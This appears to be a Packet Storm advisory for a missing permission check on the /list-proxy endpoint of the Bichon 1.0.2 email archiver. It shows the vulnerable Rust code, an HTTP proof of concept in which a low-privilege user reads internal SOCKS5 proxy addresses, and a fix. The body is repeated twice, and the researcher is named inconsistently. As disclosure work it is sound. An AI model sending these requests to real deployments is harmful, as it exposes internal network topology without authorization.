Description
Bichon version 1.0.2 suffers from a SOCKS5 proxy topology disclosure vulnerability via /list-proxy...
Basic Information
ID
PACKETSTORM:221274
Published
May 18, 2026 at 00:00
Affected Product
Affected Versions
Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure via /list-proxy
=============================================================
Vendor: rustmailer
Product: Bichon - self-hosted email archiving server (Rust + TypeScript)
Project URL: https://github.com/rustmailer/bichon
Affected: All versions through HEAD as of 2026-05-18
Commit: 9daab241b0220e81e43d4b98616d77fa45ad58c7
Release: 1.0.2
Patched: Pending vendor fix
Severity: Medium
CVSS 3.1: 5.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CWE: CWE-200 (Exposure of Sensitive Information to an
Unauthorized Actor)
CVE: Pending (requested via GitHub CNA)
Discovered: 2026-05-18 (manual source review + live verification)
Researcher: AoxLir <[email protected]>
Disclosure: Coordinated (Project Zero 90-day standard)
I. Background
=============
Bichon supports SOCKS5 and HTTP proxies for outbound IMAP/OAuth2
connections. Administrators register proxy entries via the REST API
and reference them per-account via the `use_proxy` field in account
creation.
II. Vulnerability Detail
========================
In crates/server/src/rest/api/system.rs lines 73-80:
/// Get the full list of SOCKS5 proxy configurations.
#[oai(method = "get", path = "/list-proxy",
operation_id = "list_proxy")]
async fn list_proxy(&self, _context: WrappedContext)
-> ApiResult<Json<Vec<Proxy>>> {
//The proxy list is visible to all users.
let proxies = Proxy::list_all()
.map_err(|e| raise_error!(format!("{:#?}", e),
ErrorCode::InternalError))?;
Ok(Json(proxies))
}
The function takes a WrappedContext (verifying authentication) but
calls neither require_permission nor has_permission. Every other proxy
endpoint in the same file enforces Permission::ROOT:
async fn remove_proxy(&self, id: Path<u64>,
context: WrappedContext) -> ApiResult<()> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
async fn get_proxy(&self, ... ) -> ApiResult<Json<Proxy>> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
async fn create_proxy(&self, ... ) -> ApiResult<()> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
async fn update_proxy(&self, ... ) -> ApiResult<()> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
Single-item GET requires ROOT. Full list does not. This is an
authorization inconsistency.
III. Proof of Concept
=====================
Verified live against rustmailer/bichon:1.0.2 (Docker).
Step 1: Admin registers a SOCKS5 proxy:
POST /api/v1/proxy
Authorization: Bearer <admin_token>
Content-Type: text/plain
socks5://10.0.5.10:1080
Step 2: A user 'bob' is created with the lowest possible privileges -
only the built-in `member` global role, which holds a single
permission: system:access (i.e. the ability to log in).
Bob has no account access:
GET /api/v1/current-user (bob's token)
{
"global_roles_names": ["member"],
"global_permissions": ["system:access"],
"account_access_map": {},
"account_permissions": {}
}
Step 3: Bob requests the proxy list:
GET /api/v1/list-proxy
Authorization: Bearer <bob_token>
HTTP/1.1 200 OK
[
{"id": 7553069259939497,
"url": "socks5://10.0.5.10:1080",
"created_at": 1779105772307,
"updated_at": 1779105772307}
]
Step 4: Bob attempts the single-item GET (per-id endpoint), which is
properly restricted:
GET /api/v1/proxy/7553069259939497
Authorization: Bearer <bob_token>
HTTP/1.1 400 (parser error; an authenticated non-ROOT user with
the correct id format gets 403/permission denied -
the endpoint enforces ROOT properly)
IV. Impact
==========
Live testing established that Bichon's proxy create endpoint REJECTS
URLs with embedded credentials (e.g. socks5://user:pass@host:port) -
authentication, if any, is stored separately. This downgrades the
original credential-disclosure concern. However:
- Full proxy URL (host:port) is disclosed to every authenticated user,
including users created with zero account access. This reveals
internal-network topology (host/port combinations of corporate
proxies, often only reachable from inside a VPN).
- Proxy IDs are disclosed and may be used at account creation via the
`use_proxy` field by any user authorized to create accounts, even
proxies that an administrator may have created for a specific
subset of accounts.
- In multi-tenant or MSP deployments, tenant A's proxy list is
disclosed to tenant B users who share the same Bichon instance.
V. Solution
===========
Option A (preferred) - bring the list endpoint into line with the
other proxy endpoints in the same file:
async fn list_proxy(&self, context: WrappedContext)
-> ApiResult<Json<Vec<Proxy>>> {
context.require_permission(None, Permission::ROOT)?;
let proxies = Proxy::list_all()?;
Ok(Json(proxies))
}
Option B (if broad visibility is genuinely required for the WebUI
account-creation form) - redact the host:port portion, returning only
{id, label} pairs from /list-proxy. Full URLs remain available via
the ROOT-restricted single-item GET.
VI. Credit
===========
Discovered and reported by MrOruc, independent security researcher.
GitHub: https://github.com/MrOruc
Email: [email protected]
=============================================================
Vendor: rustmailer
Product: Bichon - self-hosted email archiving server (Rust + TypeScript)
Project URL: https://github.com/rustmailer/bichon
Affected: All versions through HEAD as of 2026-05-18
Commit: 9daab241b0220e81e43d4b98616d77fa45ad58c7
Release: 1.0.2
Patched: Pending vendor fix
Severity: Medium
CVSS 3.1: 5.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CWE: CWE-200 (Exposure of Sensitive Information to an
Unauthorized Actor)
CVE: Pending (requested via GitHub CNA)
Discovered: 2026-05-18 (manual source review + live verification)
Researcher: AoxLir <[email protected]>
Disclosure: Coordinated (Project Zero 90-day standard)
I. Background
=============
Bichon supports SOCKS5 and HTTP proxies for outbound IMAP/OAuth2
connections. Administrators register proxy entries via the REST API
and reference them per-account via the `use_proxy` field in account
creation.
II. Vulnerability Detail
========================
In crates/server/src/rest/api/system.rs lines 73-80:
/// Get the full list of SOCKS5 proxy configurations.
#[oai(method = "get", path = "/list-proxy",
operation_id = "list_proxy")]
async fn list_proxy(&self, _context: WrappedContext)
-> ApiResult<Json<Vec<Proxy>>> {
//The proxy list is visible to all users.
let proxies = Proxy::list_all()
.map_err(|e| raise_error!(format!("{:#?}", e),
ErrorCode::InternalError))?;
Ok(Json(proxies))
}
The function takes a WrappedContext (verifying authentication) but
calls neither require_permission nor has_permission. Every other proxy
endpoint in the same file enforces Permission::ROOT:
async fn remove_proxy(&self, id: Path<u64>,
context: WrappedContext) -> ApiResult<()> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
async fn get_proxy(&self, ... ) -> ApiResult<Json<Proxy>> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
async fn create_proxy(&self, ... ) -> ApiResult<()> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
async fn update_proxy(&self, ... ) -> ApiResult<()> {
context.require_permission(None, Permission::ROOT)?; /* ... */
}
Single-item GET requires ROOT. Full list does not. This is an
authorization inconsistency.
III. Proof of Concept
=====================
Verified live against rustmailer/bichon:1.0.2 (Docker).
Step 1: Admin registers a SOCKS5 proxy:
POST /api/v1/proxy
Authorization: Bearer <admin_token>
Content-Type: text/plain
socks5://10.0.5.10:1080
Step 2: A user 'bob' is created with the lowest possible privileges -
only the built-in `member` global role, which holds a single
permission: system:access (i.e. the ability to log in).
Bob has no account access:
GET /api/v1/current-user (bob's token)
{
"global_roles_names": ["member"],
"global_permissions": ["system:access"],
"account_access_map": {},
"account_permissions": {}
}
Step 3: Bob requests the proxy list:
GET /api/v1/list-proxy
Authorization: Bearer <bob_token>
HTTP/1.1 200 OK
[
{"id": 7553069259939497,
"url": "socks5://10.0.5.10:1080",
"created_at": 1779105772307,
"updated_at": 1779105772307}
]
Step 4: Bob attempts the single-item GET (per-id endpoint), which is
properly restricted:
GET /api/v1/proxy/7553069259939497
Authorization: Bearer <bob_token>
HTTP/1.1 400 (parser error; an authenticated non-ROOT user with
the correct id format gets 403/permission denied -
the endpoint enforces ROOT properly)
IV. Impact
==========
Live testing established that Bichon's proxy create endpoint REJECTS
URLs with embedded credentials (e.g. socks5://user:pass@host:port) -
authentication, if any, is stored separately. This downgrades the
original credential-disclosure concern. However:
- Full proxy URL (host:port) is disclosed to every authenticated user,
including users created with zero account access. This reveals
internal-network topology (host/port combinations of corporate
proxies, often only reachable from inside a VPN).
- Proxy IDs are disclosed and may be used at account creation via the
`use_proxy` field by any user authorized to create accounts, even
proxies that an administrator may have created for a specific
subset of accounts.
- In multi-tenant or MSP deployments, tenant A's proxy list is
disclosed to tenant B users who share the same Bichon instance.
V. Solution
===========
Option A (preferred) - bring the list endpoint into line with the
other proxy endpoints in the same file:
async fn list_proxy(&self, context: WrappedContext)
-> ApiResult<Json<Vec<Proxy>>> {
context.require_permission(None, Permission::ROOT)?;
let proxies = Proxy::list_all()?;
Ok(Json(proxies))
}
Option B (if broad visibility is genuinely required for the WebUI
account-creation form) - redact the host:port portion, returning only
{id, label} pairs from /list-proxy. Full URLs remain available via
the ROOT-restricted single-item GET.
VI. Credit
===========
Discovered and reported by MrOruc, independent security researcher.
GitHub: https://github.com/MrOruc
Email: [email protected]